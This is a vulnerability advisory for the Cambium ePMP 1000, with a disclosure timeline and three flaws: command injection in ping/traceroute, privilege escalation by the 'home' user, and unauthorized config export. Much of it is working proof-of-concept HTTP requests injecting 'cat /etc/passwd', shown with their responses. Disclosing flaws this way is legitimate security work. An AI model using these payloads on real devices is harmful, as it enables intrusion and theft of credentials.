Cambium ePMP 1000 Command Injection / Privilege Escalation
Posted on 20 November 2015
*July 14, 2015: *First contacted Cambium *July 14, 2015: *Initial vendor response *July 16, 2015: *Vuln Details reported to Cambium *July 31, 2015:* Followup on advisory and fix timelines *August 03, 2015: *Vendor gives mid-Aug as fix (v2.5) release timeline. Ceases communication. *Nov 19, 2015: *Releasing vulnerability details & poc *Versions affected*: < v2.5 ..... *CVE-IDs* - To be assigned. ..... *Background * http://www.cambiumnetworks.com/products/access/epmp-1000/ ePMP™ 1000 Wireless service providers and enterprises need reliable, high-quality broadband connectivity that can be rapidly deployed and expanded. The ePMP platform provides stable coverage across large service areas and enhances your existing infrastructure. *Deployed by:* ION Telecom Kayse Wireless Vanilla Telecom Traeger Park EszakNet Edera Videon COMeSER Seattle, WA Budapest Video Surveillance Desktop Silo Wireless Rocket Broadband Snavely Forest Products KRK Sistemi KAJA Komputer Root Media *Vulnerability Details* *From Cambium Networks ePMP 1000 user / configuration guide: * ePMP 1000 has four (4) users - - ADMINISTRATOR, who has full read and write permissions. - INSTALLER, who has permissions to read and write parameters applicable to unit installation and monitoring. - HOME, who has permissions only to access pertinent information for support purposes - READONLY, who only has permissions to view the Monitor page. ..... 1. *OS Command Injection * 'admin' and 'installer' users have access to perform Ping and Traceroute functions via GUI. No other user has this access. Ping function accepts destination IP address value via 'ping_ip parameter and uses three (3) other parameters - packets_num, buf_size and ttl, to perform Ping. Traceroute function accepts destination IP address via 'traceroute_ip' parameter. The application does not perform strict input validation for all these parameters - ping_ip', packets_num, buf_size and ttl for Ping function; and traceroute_ip for Traceroute function. This allows an authenticated user - 'admin' or non-admin, low-privileged 'installer' & ‘home’ users - to be able to inject arbitrary system commands that gets executed by the host. ..... *PING PoC * ..... HTTP Request ..... POST /cgi-bin/luci/;stok=<stok_value>/admin/ping HTTP/1.1 Host: <IP_address> User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://<IP_address>/ Cookie: sysauth=<sysauth_value>; globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22installer%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=<stok_value> DNT: 1 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache ping_ip=8.8.8.8|cat%20/etc/passwd%20||&packets_num=1&buf_size=1&ttl=1&debug=0 [ *or* ping_ip=8.8.8.8&packets_num=1|cat%20/etc/passwd%20||&buf_size=1&ttl=1&debug=0 *or* ping_ip=8.8.8.8&packets_num=1&buf_size=1|cat%20/etc/passwd%20||&ttl=1&debug=0 *or* ping_ip=8.8.8.8&packets_num=1&buf_size=1&ttl=1|cat%20/etc/passwd%20||&debug=0 ] ..... HTTP Response ..... HTTP/1.1 200 OK Cache-Control: no-store, no-cache, max-age=0, must-revalidate, post-check=0, pre-check=0 Cache-Control: no-cache Status: 200 OK Content-Type: text/plain Expires: 0 Date: Sun, 18 Jan 1970 14:45:37 GMT Server: Cambium HTTP Server daemon:*:1:1:daemon:/var:/bin/false ftp:*:55:55:ftp:/home/ftp:/bin/false network:*:101:101:network:/var:/bin/false admin:<password_hash>:1000:4:admin:/tmp:/usr/bin/clish installer:<password_hash>:2000:100:installer:/tmp:/bin/false home:<password_hash>:3000:100:home:/tmp:/bin/false readonly:<password_hash>:4000:100:readonly:/tmp:/bin/false dashboard:<password_hash>:5000:100:dashboard:/tmp:/bin/false nobody:*:65534:65534:nobody:/var:/bin/false root:<password_hash>:0:0:root:/root:/bin/ash ..... *traceroute - PoC * ..... HTTP Request ..... POST /cgi-bin/luci/;stok=<stok_value>/admin/traceroute HTTP/1.1 Host: <IP_address> User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://<IP_address>/ Cookie: sysauth=<sysauth_value>; globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22installer%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=<stok_value> DNT: 1 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache traceroute_ip=8.8.8.8|cat%20/etc/passwd%20||&fragm=0&trace_method=icmp_echo&display_ttl=0&verbose=0&debug=0 ..... HTTP Response ..... HTTP/1.1 200 OK Cache-Control: no-store, no-cache, max-age=0, must-revalidate, post-check=0, pre-check=0 Cache-Control: no-cache Status: 200 OK Content-Type: text/plain Expires: 0 Date: Sun, 18 Jan 1970 16:09:26 GMT Server: Cambium HTTP Server daemon:*:1:1:daemon:/var:/bin/false ftp:*:55:55:ftp:/home/ftp:/bin/false network:*:101:101:network:/var:/bin/false admin:<password_hash>:1000:4:admin:/tmp:/usr/bin/clish installer:<password_hash>:2000:100:installer:/tmp:/bin/false home:<password_hash>:3000:100:home:/tmp:/bin/false readonly:<password_hash>:4000:100:readonly:/tmp:/bin/false dashboard:<password_hash>:5000:100:dashboard:/tmp:/bin/false nobody:*:65534:65534:nobody:/var:/bin/false root:<password_hash>:0:0:root:/root:/bin/ash ..... 2. *Weak Authorization Controls + privilege escalation* 'home' and 'readonly' users do not have access to Ping and Traceroute functions via management portal. However, the application lacks strict authorization controls, and we can still perform both these functions by sending corresponding HTTP(S) requests directly, when logged in as low-privileged, 'home' user. When we combine this flaw with above described OS Command Injection affecting ping and traceroute, it is possible for non-admin, low-privileged, ‘home’ user to execute system level commands via 'ping' and 'traceroute' functions and dump password hashes easily and / or perform any system level functions. *Note*: ‘readonly’ user cannot perform this. Only ‘home’ user can exploit these. ..... *Steps to attack - * a login as home user b craft & send HTTP request for ping and traceroute functions ..... Login - HTTP Request .. POST /cgi-bin/luci HTTP/1.1 Host: <IP_address> User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://<IP_address>/ Cookie: sysauth=<sysauth_value>; globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22installer%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D DNT: 1 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache username=home&password=<password> ..... Login - HTTP Response .. HTTP/1.1 200 OK Cache-Control: no-store, no-cache, max-age=0, must-revalidate, post-check=0, pre-check=0 Cache-Control: no-cache Status: 200 OK Set-Cookie: sysauth=<home-sysauth_value>; path=/cgi-bin/luci/;stok=<home-stok-value> Content-Type: application/json Expires: 0 Date: Sun, 18 Jan 1970 16:40:50 GMT Server: Cambium HTTP Server { "stok": <home-stok_value>", "certif_dir": "/tmp/new_certificates/", "status_url": "/cgi-bin/luci/;stok=<home-stok_value>/admin/status } .. *Sending HTTP request for Ping function * ..... HTTP Request ..... POST /cgi-bin/luci/;stok=<home-stok_value>/admin/ping HTTP/1.1 Host: <IP_address> User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://<IP_address>/ Cookie: sysauth=<home-sysauth_value>; globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22installer%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Home User; usernameType=home; stok=<home-stok_value> DNT: 1 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache ping_ip=8.8.8.8|cat%20/etc/passwd%20||&packets_num=1&buf_size=1&ttl=1&debug=0 ..... HTTP Response ..... HTTP/1.1 200 OK Cache-Control: no-store, no-cache, max-age=0, must-revalidate, post-check=0, pre-check=0 Cache-Control: no-cache Status: 200 OK Content-Type: text/plain Expires: 0 Date: Sun, 18 Jan 1970 14:45:37 GMT Server: Cambium HTTP Server daemon:*:1:1:daemon:/var:/bin/false ftp:*:55:55:ftp:/home/ftp:/bin/false network:*:101:101:network:/var:/bin/false admin:<password_hash>:1000:4:admin:/tmp:/usr/bin/clish installer:<password_hash>:2000:100:installer:/tmp:/bin/false home:<password_hash>:3000:100:home:/tmp:/bin/false readonly:<password_hash>:4000:100:readonly:/tmp:/bin/false dashboard:<password_hash>:5000:100:dashboard:/tmp:/bin/false nobody:*:65534:65534:nobody:/var:/bin/false root:<password_hash>:0:0:root:/root:/bin/ash .. Similarly, Traceroute function can be exploited. ...................................................................................................................................................... 3. *Weak Authorization Controls + Information Disclosure* In addition to 'admin', only 'installer' user has the option to access device configuration. ‘home’ user does not have GUI option and should not be able to access / download device configuration. However, the application lacks strict authorization measures and the low-privileged 'home' user can gain unauthorized access to the device configuration simply by requesting it. *Configuration backup export* can be performed by directly accessing the following url: *http://<IP_address>/cgi-bin/luci/;stok=<homeuser-stok_value>/admin/config_export?opts=json * Upon a successful config export, full device configuration with clear-text passwords, usernames, keys, IP addresses, statistics, logs etc is downloaded. HTTP/1.1 200 OK Cache-Control: no-store, no-cache, max-age=0, must-revalidate, post-check=0, pre-check=0 Cache-Control: no-cache Status: 200 OK Content-Type: application/json Content-Disposition: attachment; filename=<filename>.json Expires: 0 Date: Sun, 18 Jan 1970 16:50:21 GMT Server: Cambium HTTP Server { "template_props": { "templateName":"", "templateDescription":"", "device_type":"", … <output - snipped> … } ..... Best Regards, Karn Ganeshen -- Best Regards, Karn Ganeshen
